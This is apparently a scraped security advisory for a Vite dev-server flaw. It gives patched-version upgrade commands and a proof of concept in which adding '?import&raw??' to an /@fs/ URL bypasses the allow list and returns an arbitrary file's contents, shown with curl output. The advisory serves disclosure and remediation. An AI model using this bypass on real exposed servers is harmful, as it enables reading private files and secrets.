To remediate this vulnerability, upgrade all affected Vite dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vite@6.2.3npm install vite@6.1.2npm install vite@6.0.12npm install vite@5.4.15npm install vite@4.5.10Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls viteHow to Check if You Are Affected

Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n <body>\n <h1>403 Restricted</h1>\n <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```",
